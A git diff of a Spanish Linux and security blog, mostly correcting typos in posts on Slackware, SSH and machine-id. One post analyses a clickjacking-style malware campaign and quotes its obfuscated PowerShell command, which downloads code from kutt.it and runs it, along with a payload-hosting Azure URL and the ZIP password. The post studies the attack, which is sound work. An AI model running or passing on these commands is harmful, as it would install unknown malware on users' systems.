display="block"> <mrow> @@ -52,7 +52,7 @@ Sun Jan 18 19:33:36 1987</code></pre> </mrow> </mrow> </math> -<p>el nacimiento de Linus Tordvals,</p> +<p>el nacimiento de Linus Torvalds,</p> <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="0x85072278=51219965/12/1996" display="block"> <mrow> <mrow> @@ -112,7 +112,7 @@ Sun Jan 18 19:33:36 1987</code></pre> </mrow> </mrow> </math> -<p>el nacimiento de Celeste Amanda, las 3 hijas de Tordvals respectivamente.</p> +<p>el nacimiento de Celeste Amanda, las 3 hijas de Torvalds respectivamente.</p> <p>Estos elementos se tratan de números mágicos; es decir cadenas de caracteres alfanuméricos que identifican un archivo (ID). El objetivo de estos números mágicos concretos, grosso modo, es el de proteger la llamada verdadera REBOOT del sistema, ya que es una llamada destructiva que puede arrojar graves errores de programa. Linux ofrece una protección extra de esta forma.</p> </body> </html> \ No newline at end of file diff --git a/machine-id/index.html b/machine-id/index.html @@ -35,7 +35,7 @@ sudo systemd-machine-id-setup sudo rm /etc/machine-id sudo dbus-uuidgen --ensure=/etc/machine-id</code></pre> <p>Pero, ¿qué tiene que decir dicho identificador en cuanto a la privacidad? En un esfuerzo por asegurar la privacidad, tener un identificador único e inmutable vinculado directamente al dispositivo no parece un enfoque adecuado.</p> -<p>Recordamos además que el propio manual indica que el contenido es confidencial y no debe ser compartido. Sin embargo, no existe mecanismo ni inconveniente en que cualquier software tenga acceso a estos ficheros, permitiendo leer y almacenar el <emb>machine-id</emb> para el uso que fuera, sea accidental o malintencionado. Es cierto que también es accesible /sys, que contiene información sobre cada dispositivo conectado al sistema -inclusive las series de dispositivos USB únicas-. Por lo que si se requiere protección de confianza contra aplicaciones locales, se requerirá una solución de espacio aislado. Aún así, mantener o asegurar la no-integridad -de cara a terceros- del identificador parece algo deseable.</p> +<p>Recordamos además que el propio manual indica que el contenido es confidencial y no debe ser compartido. Sin embargo, no existe mecanismo ni inconveniente en que cualquier software tenga acceso a estos ficheros, permitiendo leer y almacenar el <emb>machine-id</emb> para el uso que fuera, sea accidental o malintencionado. Es cierto que también es accesible /sys, que contiene información sobre cada dispositivo conectado al sistema -inclusive las series de dispositivos USB únicas-. Por lo que si se requiere protección de confianza contra aplicaciones locales, se requerirá una solución de espacio aislado. Aun así, mantener o asegurar la no-integridad -de cara a terceros- del identificador parece algo deseable.</p> <p>De nada sirve que nos indiquen que debe guardarse confidencialmente, cuando los permisos son de lectura para todos:</p> <pre><code>ls -hal /etc/machine-id -r--r--r-- 1 root root 33 jul 11 14:28 /etc/machine-id diff --git a/propagacion-malware-script/index.html b/propagacion-malware-script/index.html @@ -14,9 +14,9 @@ </header> <p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?</p> <img style="width:40%;" src="imagen1.jpeg" /> -<p>Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:</p> +<p>Pero, ¿en qué consiste realmente esta novia? He accedido a la web para comprobarlo. Este es su frontend:</p> <img src="imagen2.jpeg" /> -<p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:</p> +<p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta directamente al siguiente “mensaje de error”:</p> <img src="imagen3.jpeg" /> <p>Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones <kbd>Win</kbd>+<kbd>R</kbd> para abrir la ventana de ejecutar comandos de Windows, <kbd>Ctrl</kbd>+<kbd>V</kbd> para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.</p> <img style="width:40%;" src="imagen4.png" /> @@ -26,7 +26,7 @@ $UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasic # Initiate forse restart browser</code></pre> <p>Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:</p> <p><emb>cmd /c</emb> ejecuta un comando que consiste en lanza <emb>powershell -w hidden</emb> el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras <emb>-c</emb> se indica el comando. A partir de aquí se indica el script de PowerShell.</p> -<p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitued HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p> +<p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitudes HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p> <p>Finalmente, hace la llamada que viene construyendo y declarando con <emb>&($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content)</emb>, es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando </emb>Invoke-Expression</emb>.</p> <p><emb># Initiate forse restart browser</emb> es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.</p> <p>El código que descarga es el siguiente:</p> @@ -155,11 +155,11 @@ catch { <pre><codeb>$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"</codeb></pre></li> <li><emb>$pz = "Qweqwe123123"</emb> la contraseña para el ZIP.</li> </ul> -<p>Después, la función <emb>stg</emb> recolecta informción del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, contruye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p> -<p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p> +<p>Después, la función <emb>stg</emb> recolecta información del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, construye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p> +<p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p> <p>Una vez extraídos, ejecuta <emb>7zr.exe</emb> para extraer el <emb>7z</emb> contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (<emb>.exe</emb>).</p> <p>Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.</p> -<p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p> +<p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni siquiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p> <p>El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.</p> </body> </html> \ No newline at end of file diff --git a/slackware-slackbuild/index.html b/slackware-slackbuild/index.html @@ -13,7 +13,7 @@ <p class="date">12 de diciembre de 2025 • fjbalon</p> </header> <p>Como usuario de Slackware, he usado alguna vez scripts de SlackBuild para crear un paquete de software que pueda ser instalado fácil y limpiamente, y eliminado más tarde si es necesario con la misma facilidad y limpieza. Lo veremos en más profundidad más adelante, pero resumidamente sabemos que un SlackBuild es un script de shell que nos permite compilar e instalar paquetes desde el código fuente, creando un paquete -generalmente <emb>txz</emb>, aunque también <emb>tgz</emb>- y se instala mediante la herramienta nativa de Slackware <emb>installpkg</emb>. Se distribuyen principalmente en el repositorio oficial de <a href="https://slackbuilds.org">slackbuilds.org</a>.</p> -<p>Al final, los SlackBuilds constituyen la forma oficial, digamos, de instalar software que mno viene en los repositorios base de Slackware.</p> +<p>Al final, los SlackBuilds constituyen la forma oficial, digamos, de instalar software que no viene en los repositorios base de Slackware.</p> <p>Existen diferentes enfoques de un script de SlackBuild, por ejemplo <i>Alien Bob</i> tiene su muy útil <a href="https://alien.slackbook.org/AST/">creador de SlackBuilds</a> y, en términos generales, lo respetaremos. Y como ejemplo mediante el cual encarnar lo que vamos a describir, usaré el paquete <a href="https://slackbuilds.org/repository/15.0/system/ksh-openbsd/">ksh-openbsd</a>. La descarga, generalmente, viene en un paquete comprimido <emb>.tar.gz</emb>, que se destarea y descomprime con <emb>tar xzvf</emb>, siendo el contenido del directorio:</p> <pre><code>ls doinst.sh ksh-openbsd.info ksh-openbsd.SlackBuild README slack-desc</code></pre> @@ -152,7 +152,7 @@ find -L . \ *+*) make check ;; # running in foreground *) echo '*** Not running "make check" because we are in the background.' ;; esac</code></pre> -<p>Es entonces cuando iniciamos la fase de compilación. En términos generales se realiza directament el <emb>make</emb>, pero se ve que el programador de este paquete de ejemplo le añadió algo de complejidad: a veces, parece qu eel paquete en instalación (<emb>ksh-openbsd</emb>, recuerdo) se cuelga durante el <emb>make check</emb>, que indica una fase de testing, cuando se ejecuta en segundo plano. Esto ocurre con más frecuencia cuando se usa <emb>sbopkg</emb>, <emb>queue</emb> o scripts de compilación masiva. El test se quedaría esperando algo de terminal/entrada y bloquea toda la cola. ¿La solución? sencilla: si estoy ejecutando el SlackBuild manualmente en una términal, haga los test; si no, ignórelos.</p> +<p>Es entonces cuando iniciamos la fase de compilación. En términos generales se realiza directamente el <emb>make</emb>, pero se ve que el programador de este paquete de ejemplo le añadió algo de complejidad: a veces, parece que el paquete en instalación (<emb>ksh-openbsd</emb>, recuerdo) se cuelga durante el <emb>make check</emb>, que indica una fase de testing, cuando se ejecuta en segundo plano. Esto ocurre con más frecuencia cuando se usa <emb>sbopkg</emb>, <emb>queue</emb> o scripts de compilación masiva. El test se quedaría esperando algo de terminal/entrada y bloquea toda la cola. ¿La solución? sencilla: si estoy ejecutando el SlackBuild manualmente en una terminal, haga los test; si no, ignórelos.</p> <p>Entonces, sí hacemos el make con <emb>make install DESTDIR=$PKG</emb> sobre el directorio de trabajo final.</p> <pre><code>if [ -n "${PDKSH_BINNAME}" ];then mv $PKG/bin/pdksh $PKG/bin/"${PDKSH_BINNAME}" @@ -164,7 +164,7 @@ BINNAME=${PDKSH_BINNAME:-pdksh}</code></pre> <pre><code>strip --strip-unneeded $PKG/bin/"${BINNAME}" gzip -9 $PKG/usr/man/man1/"${BINNAME}".1 gzip -9 $PKG/usr/man/man1/"${BINNAME}"-sh.1</code></pre> -<p>El comando <emb>strip</emb> sobre el binario principal elimina todos los símbolos de depuración y sesiones innecesarias del ejecutable, pero sin romper las funciones necesarias (de ahí que se use <emb>--strip-unneeded</emb> en lugar de <emb>--strip-all</emb>). Esto reduce considerablemente el tamaño del binario final. Es una práctica estándar en todos los paquetes de Slackware.</p> +<p>El comando <emb>strip</emb> sobre el binario principal elimina todos los símbolos de depuración y secciones innecesarias del ejecutable, pero sin romper las funciones necesarias (de ahí que se use <emb>--strip-unneeded</emb> en lugar de <emb>--strip-all</emb>). Esto reduce considerablemente el tamaño del binario final. Es una práctica estándar en todos los paquetes de Slackware.</p> <p>Después, comprime las páginas de manual con <emb>gzip</emb> usando el nivel máximo de compresión (<emb>-9</emb>).</p> <pre><code>mkdir -p $PKG/usr/doc/$PRGNAM-$VERSION cp -a \ @@ -174,7 +174,7 @@ cp $CWD/README $PKG/usr/doc/$PRGNAM-$VERSION/README.ksh-openbsd cat $CWD/$PRGNAM.SlackBuild > $PKG/usr/doc/$PRGNAM-$VERSION/$PRGNAM.SlackBuild mkdir -p $PKG/install</code></pre> -<p>Y finalmente, creamos el directorio con la documentación, copiamos ésta y, encima, copiamos el propio SlackBuild dentro de dicha carpeta. Esto está encarecidamente recomendado por las buenas prácticas de un SlackBuild, puesto que permite al usuario final ver cómo se compiló el paquete en cualquier momento. Es útil además para depuraciónh y para reproducción, en caso necesario.</p> +<p>Y finalmente, creamos el directorio con la documentación, copiamos ésta y, encima, copiamos el propio SlackBuild dentro de dicha carpeta. Esto está encarecidamente recomendado por las buenas prácticas de un SlackBuild, puesto que permite al usuario final ver cómo se compiló el paquete en cualquier momento. Es útil además para depuración y para reproducción, en caso necesario.</p> <p>Además, crea el directorio <emb>/install</emb> dentro del propio paquete. Aquí almacenará los archivos de metadatos del paquete, como <emb>slack-desc</emb>, <emb>doinst.sh</emb>, <emb>slack-required</emb>, <emb>slack-conflicts</emb>, etcétera.</p> <p>Como hemos visto, el contenido de un SlackBuild es muy completo, contando con todas las fases de despliegue de un software: preparación, parametrización, configuración de compilación o pre-compilación, extracción y limpieza, compilación, instalación, optimización, documentación, empaquetado final... Se trata de un guión y hoja de ruta poderosa para el usuario de Slackware, desde luego, y muy útil y práctica en el día a día de la administración de este sistema.</p> </body> diff --git a/slackware/index.html b/slackware/index.html @@ -19,24 +19,24 @@ <ol> <li>El <b>mantenimiento radical de la filosofía KISS</b> (<i>Keep It Simple Stupid!</i>), de sobra conocida por los usuarios con pretensiones más avanzadas, pero que en este caso se acentúa con la radical adopción de la filosofía de Unix. Uno de los principios de Slackware es mantener <b>ausencia total de interfaz gráfica para nada relacionado con la instalación, configuración y mantenimiento del sistema</b>. El usuario deberá instalar las herramientas gráficas de terceros que desee, pero eso le compete a él y no a la distribución.</li> <li>Un robusto <b>enfoque en la estabilidad</b>. Tanto es así que se nota en su enfoque a largo plazo: actualmente está vigente la versión 15 -desde 2022-, mientras que su versión 14 se lanzó en 2012; una década de diferencia entre dos versiones estables.</li> -<li>La instalación del sistema operativo, como Archlinux u otras, se hace <b>mediante línea de comandos</b>; si bien sí es cierto que ofrece un script que automatiza gran parte de estos procesos mediante dialog ó Ncurses, haciendo la instalación más sencilla.</li> +<li>La instalación del sistema operativo, como Archlinux u otras, se hace <b>mediante línea de comandos</b>; si bien sí es cierto que ofrece un script que automatiza gran parte de estos procesos mediante dialog o Ncurses, haciendo la instalación más sencilla.</li> <li>No utiliza systemd, por supuesto. <b>Slackware utiliza scripts de init de tipo BSD</b>, mientras que la mayoría de distribuciones usaba entonces el estilo de scripts de System V (ahora conquistados por systemd). Los fieles al estilo BSD defienden que es mejor con este sistema con el que se hace más fácil encontrar, leer, editar y mantener los scripts de inicio. Yo estoy de acuerdo.</li> </ol> <p>Es una distribución dura, no os quiero mentir. Slackware no te toma por idiota, menos aún por profano o hereje. Por ello, suele ser un escollo para muchos distrohoppers que se topan con ella. Su tradicionalismo rancio y su inflexibilidad lo hacen áspero, rígido y férreo para digerirlo por parte de usuarios no preparados. Desde luego en ello no veo sino su mejor ventaja.</p> <p>Y deliberadamente, he querido dejar para el final el último punto de la lista, que es el que más resquemor y acidez producen en los incautos que se aventuran en Slackware sin estar suficientemente iniciados: la administración de paquetes:</p> <ol start="5"> -<li>La administración de paquetes, que incluye el manejo de paquetes, repositorios y dependencias es una característica muy identificativa de Slackware. Y es que, para empezar, no usa los típicos paquetes DEB ni RPM, sino usa directamente <b>tarballs</b>. O sea, archivos <b>empaquetados y comprimidos con .tar.gz</b> -generalmente-. <p>Además, el sistema <b>carece de sistema automatizado y transparente al usuario para rastrear o manejar dependencias</b>, teniendo que ser resueltas manualmente por el propio usuario. A menudo se vuelve tedioso, sobretodo con programas muy vitaminados o softwares muy grandes.</p> -<p>Esto produce, a menudo, que el usuario tenga que hacerse prácticamente un esquema con el árbol de dependencias a instalar antes de poder instalar el paquete que necesitas. Al principio es algo frustrante, lo admito. Si bien al final entiendes el potencial que subyace y el verdadero gran dominio de todo el software que corre en tu sistema que te da Slackware. Sobretodo cuando venimos de la costumbre del empleo de gestores de paquetes bastante generalistas y que centralizan y automatizan gran parte del trabajo, como Pacman, APT, DNF o YUM</p> +<li>La administración de paquetes, que incluye el manejo de paquetes, repositorios y dependencias es una característica muy identificativa de Slackware. Y es que, para empezar, no usa los típicos paquetes DEB ni RPM, sino usa directamente <b>tarballs</b>. O sea, archivos <b>empaquetados y comprimidos con .tar.gz</b> -generalmente-. <p>Además, el sistema <b>carece de sistema automatizado y transparente al usuario para rastrear o manejar dependencias</b>, teniendo que ser resueltas manualmente por el propio usuario. A menudo se vuelve tedioso, sobre todo con programas muy vitaminados o softwares muy grandes.</p> +<p>Esto produce, a menudo, que el usuario tenga que hacerse prácticamente un esquema con el árbol de dependencias a instalar antes de poder instalar el paquete que necesitas. Al principio es algo frustrante, lo admito. Si bien al final entiendes el potencial que subyace y el verdadero gran dominio de todo el software que corre en tu sistema que te da Slackware. Sobre todo cuando venimos de la costumbre del empleo de gestores de paquetes bastante generalistas y que centralizan y automatizan gran parte del trabajo, como Pacman, APT, DNF o YUM</p> <p>No obstante, Slackware cuenta con software de administración de paquetes:</p> <ol type="a"> -<li>pkgtools es el gestor de paquetes estándar y predeterminado. Incluye herramientas como installpkg, removepkg, upgradepkg, etc. Tiene un uso parecido y típico al que estamos acostumbrados. Es extremadamente simple de usar y muy eficiente, sin embargo no tienen muchas características que consideraríamos avanzadas, como la resolución automática de dependencias, lo que aveces constituye un hueso. <p>Como sorpresa bastante interesante, existe un script denominado rpm2tgz que te permite transformar los paquetes clásicos de RPM en instalable sencillo para Slackware, de tal forma que el resultado .tgz puede ser pasado como argumento a installpkg. Muy útil.</p></li> +<li>pkgtools es el gestor de paquetes estándar y predeterminado. Incluye herramientas como installpkg, removepkg, upgradepkg, etc. Tiene un uso parecido y típico al que estamos acostumbrados. Es extremadamente simple de usar y muy eficiente, sin embargo no tienen muchas características que consideraríamos avanzadas, como la resolución automática de dependencias, lo que a veces constituye un hueso. <p>Como sorpresa bastante interesante, existe un script denominado rpm2tgz que te permite transformar los paquetes clásicos de RPM en instalable sencillo para Slackware, de tal forma que el resultado .tgz puede ser pasado como argumento a installpkg. Muy útil.</p></li> <li>slackpkg es la herramienta de gestión de paquetes más parecida a APT o DNF, permitiéndote buscar, instalar, actualizar y eliminar paquetes de los repositorios oficiales de Slackware. También puede manejar actualizaciones de seguridad y parches del sistema.</li> <li>sbopkg es un gestor de paquetes para <a href="https://slackbuilds.org/">Slackbuilds.org</a>, que es un repositorio de software fuera del reducido catálogo de Slackware. Diría que es el equivalente a AUR en Archlinux. sbopkg ofrece un conjunto de herramientas de terminal y de dialog que automatizan la compilación e instalación de software. Te permite buscar, descargar, compilar e instalar paquetes slackbuilds.</li> </ol> </p> </li> </ol> -<p>Evidentemente, que a pesar de su rito iniciático, su rigidez, su tradicionalismo y su misticismo, Slackware puede ser utilizado y dominado como cualquier otra distribución de GNU/Linux, se puede instalar el mismo software y se puede conducir de la misma forma. Pero exije, exije al usuario paciencia y sacrificio.</p> +<p>Evidentemente, que a pesar de su rito iniciático, su rigidez, su tradicionalismo y su misticismo, Slackware puede ser utilizado y dominado como cualquier otra distribución de GNU/Linux, se puede instalar el mismo software y se puede conducir de la misma forma. Pero exige, exige al usuario paciencia y sacrificio.</p> <p>En un foro especializado en Linux me preguntaron si sigue siendo viable utilizar Slackware hoy día, la respuesta es evidente: claro que sí. Y depende más bien de qué tan dispuesto estés a tomar el control de tu sistema con una forma heredada más tipo Unix (véase <a href="../unix-filosofia/"><i>Unix es Tradición</i></a>). Desde mi atalaya -construida sobre Slackware, claro- no puedo sino recomendar, a los fuertes y los valientes, iniciarse en el sistema más antiguo.</p> </body> </html> \ No newline at end of file diff --git a/ssh-tunneling/index.html b/ssh-tunneling/index.html @@ -13,15 +13,15 @@ <p class="date">28 de marzo de 2019 • fjbalon</p> </header> <p>El tunneling es un proceso por el que se utiliza el protocolo SSH para fortificar la comunicación entre otros protocolos inseguros, por ejemplo para realizar peticiones HTTP, SMTP, etc.</p> -<p>Los túneles pueden ser locales o remotos. En los túneles locales, la máquina del administrador o cliente redirecciona un puerto local hacia un puerto de la máquina remota, a la que se disponga de acceso. En los túneles remotos se redirecciona un puerto remoto dela máquina remota, a la que se disponga de aacceso, a un puerto de la máquina local, donde se encuentra el administrador.</p> +<p>Los túneles pueden ser locales o remotos. En los túneles locales, la máquina del administrador o cliente redirecciona un puerto local hacia un puerto de la máquina remota, a la que se disponga de acceso. En los túneles remotos se redirecciona un puerto remoto de la máquina remota, a la que se disponga de acceso, a un puerto de la máquina local, donde se encuentra el administrador.</p> <p>La sintaxis para la creación de un túnel local hacia el puerto remoto de la máquina remota es la siguiente:</p> <pre><code>ssh -L [direccion de escucha:]puerto escucha:maquina remota: puerto remoto usuario@server</code></pre> <img class="color-invertible" src="resources/ssh01.png"/> <p>El escenario idóneo para la utilización de túneles SSH locales es el siguiente:</p> <ul> <li>Máquina A con conexión a Internet requiere conexión a máquina C, que se encuentra detrás de un servidor que impide el paso. En otras palabras, la máquina C no es accesible desde Internet.</li> -<li>El usuarioo de la máquina A dispone de cuenta en una máquina B. La máquina B es el servidor que proporciona la salida a Internet a la máquina C. La máquina A creará un túnel con la máquina B y a través del forwarding (véase sección \ref{sshforwarding} para más detalle) de la máquina B llegará a la máquina C.</li> -<li>Lo importante es proteger la comunicación en Internet entre la máquina A y B. La comunicación entre B y C puede ir sin cifrar, ya que se encentra en una Intranet. Aunque también puede ser altamente recomendable fortificar dicha comunicación.</li> +<li>El usuario de la máquina A dispone de cuenta en una máquina B. La máquina B es el servidor que proporciona la salida a Internet a la máquina C. La máquina A creará un túnel con la máquina B y a través del forwarding (véase sección \ref{sshforwarding} para más detalle) de la máquina B llegará a la máquina C.</li> +<li>Lo importante es proteger la comunicación en Internet entre la máquina A y B. La comunicación entre B y C puede ir sin cifrar, ya que se encuentra en una Intranet. Aunque también puede ser altamente recomendable fortificar dicha comunicación.</li> </ul> <p>El túnel remoto, por su lado, generará un socket a la escucha en un servidor, el cual al recibir una petición reenviará el tráfico mediante SSH a la máquina local donde se encuentre el administrador. La sintaxis es:</p> <pre><code>ssh -R puerto local:maquina remota:puerto remoto</code></pre> diff --git a/ssh/index.html b/ssh/index.html @@ -12,7 +12,7 @@ <p class="title">Robustecimiento y securización del protocolo SSH</p> <p class="date">20 de febrero de 2019 • fjbalon</p> </header> -<p>SSH es uno de los protocolos más interesantes de los que dispone el administrador de sistemas, permitiendo acceder a otros equipos de forma remota; pero sobretodo, de forma segura. Con SSH creamos un túnel entre cliente y servidor que simula, en la capa de aplicación, la shell o intérprete de comandos del servidor, dotando al administrador de toda funcionalidad en el equipo.</p> +<p>SSH es uno de los protocolos más interesantes de los que dispone el administrador de sistemas, permitiendo acceder a otros equipos de forma remota; pero sobre todo, de forma segura. Con SSH creamos un túnel entre cliente y servidor que simula, en la capa de aplicación, la shell o intérprete de comandos del servidor, dotando al administrador de toda funcionalidad en el equipo.</p> <p>SSH puede considerarse una evolución del protocolo Telnet, pero el primero cuenta con técnicas de criptografía para proteger los datos intercambiados entre ambos nodos que conforman la conexión SSH. SSH utiliza un intercambio de claves basado en el protocolo criptográfico de Diffie-Hellman, imprescindible en el robustecimiento de la capa de transporte.</p> <p>SSH trabaja sobre el protocolo TCP/IP. Por ello, en primer lugar se realiza la conexión TCP, realizando el three-way handshake. Después de abrir la conexión, cliente y servidor se envían la versión disponible del protocolo. Se utilizará luego el par de claves, pública y privada, de RSA. El servidor enviará su clave pública de host al cliente, de forma que éste pueda cifrar lo que necesite enviar al servidor. El cliente comparará la clave pública de host con la que tenga almacenada en el archivo known_hosts, si lo hubiera.</p> <p>Una vez el cliente dispone de la clave pública del host del servidor, este generará una clave de sesión aleatoria y seleccionará un algoritmo de cifrado simétrico. Con esta clave de sesión, que se generará por defecto cada 3600 segundos, se cifrará el túnel. El cliente enviará un mensaje que contiene la clave de sesión y el algoritmo de cifrado seleccionado, información que viajará cifrada mediante la clave pública de host, al servidor. En este instante, el resto de la comunicación se utilizará el algoritmo de cifrado simétrico y la clave compartida de sesión, dando velocidad a la conexión (en técnicas de clave simétrica el cifrado y descifrado se hace más rápido), pero utilizando siempre primero el protocolo de Diffie-Hellman para poder enviar de forma segura la clave compartida de sesión; y supliendo así la principal carencia en seguridad de los algoritmos de criptografía simétrica: el intercambio de claves.</p> @@ -20,10 +20,10 @@ <img src="resources/ssh00.png" style="width: 70%;"/> <h1>Autenticación mediante par de claves</h1> -<p>una conexión común usando el protocolo SSH es de por sí segura; al menos más segura que una conexión no cifrada como telnet, pero presenta, grosso modo dos inconvenientes:</p> +<p>Una conexión común usando el protocolo SSH es de por sí segura; al menos más segura que una conexión no cifrada como telnet, pero presenta, grosso modo dos inconvenientes:</p> <ul> <li>La contraseña, aún yendo cifrada, viaja por la red siempre que nos autenticamos. Esto puede ser peligroso en el caso que haya alguien sniffeando el tráfico de nuestra red y fuese capaz de descifrar nuestra clave (mediante ataques por fuerza bruta o diccionario, utilizando alguna vulnerabilidad conocida, etc.).</li> -<li>En el caso de manejar numerosos servidores y conexiones SSH puede ser muy tedioso tener que estar recordando contraseñas, almacenandolas, etc. Este método agregaría un plus de comodidad y escalabilidad a las conexiones.</li> +<li>En el caso de manejar numerosos servidores y conexiones SSH puede ser muy tedioso tener que estar recordando contraseñas, almacenándolas, etc. Este método agregaría un plus de comodidad y escalabilidad a las conexiones.</li> </ul> La implementación del algoritmo RSA presenta solución a estos problemas. Su funcionamiento es: @@ -167,7 +167,7 @@ scizor@oldscizor:~$</code></pre> <p>El cliente lee el fichero ssh_config antes de realizar la conexión al servidor oldscizor.es en su puerto por defecto 22. Tras esto, se crea la conexión TCP y, una vez se realiza el three-way handshake entre cliente y servidor, la conexión queda establecida; pero aún no existe canal cifrado.</p> <p>El cliente verifica la existencia de posibles claves privadas y verifica si se encuentra alguna en la lista negra. Una vez realizado este proceso, verifica también la versión del protocolo. Es en este instante en el que se intercambian la clave pública host del servidor al cliente, para que éste pueda generar y cifrar la clave simétrica, la cual será la encargada de cifrar el canal.</p> <p>Una vez el cliente recibe la clave del host, la verifica en el fichero known_hosts. Si se encuentra, se verifica la identidad del servidor. Si por el contrario no se encuentra mostraría un mensaje avisando de la posible suplantación (por defecto).</p> -<p>Tras aceptar el cliente al servidor, verificando la identidad de éste, se establece la conexión en un canal ya seguro. El servidor envía el banner y el cliente lo muestra por pantalla. Despues, el servidor envía al cliente los métodos de autenticación para el usuario de los que se disponen y el cliente valorará su configuración previamente cargada para realizar la autenticación pertinente; que en nuestro ejercicio es una autenticación basada en claves RSA, y tras autenticarse, se envían desde el servidor las variables de entorno de la sesión y proporciona el control de la shell en remoto.</p> +<p>Tras aceptar el cliente al servidor, verificando la identidad de éste, se establece la conexión en un canal ya seguro. El servidor envía el banner y el cliente lo muestra por pantalla. Después, el servidor envía al cliente los métodos de autenticación para el usuario de los que se disponen y el cliente valorará su configuración previamente cargada para realizar la autenticación pertinente; que en nuestro ejercicio es una autenticación basada en claves RSA, y tras autenticarse, se envían desde el servidor las variables de entorno de la sesión y proporciona el control de la shell en remoto.</p> <h1>Aplicaciones del protocolo SSH</h1> <p>Sobre SSH existen varias aplicaciones que sirven de arsenal bastante completo al administrador de sistemas. Enumero las que conozco:</p> @@ -227,17 +227,17 @@ scizor@oldscizor:~$</code></pre> <p>Y siendo la forma inversa:</p> <pre><code>$ scp oldscizor:/usr/archivo2 /home/scizor/archivo2</code></pre> -<p>Cabe destacar que también podemos realizar copias seguras entre máquinas remotas, no necesariamente debe ser una origen o destino local:</p> +<p>Cabe destacar que también podemos realizar copias seguras entre máquinas remotas, no necesariamente debe ser un origen o destino local:</p> <pre><code>$ scp oldscizor.es:/root/origen root@172.16.1.2:/etc/destino</code></pre> 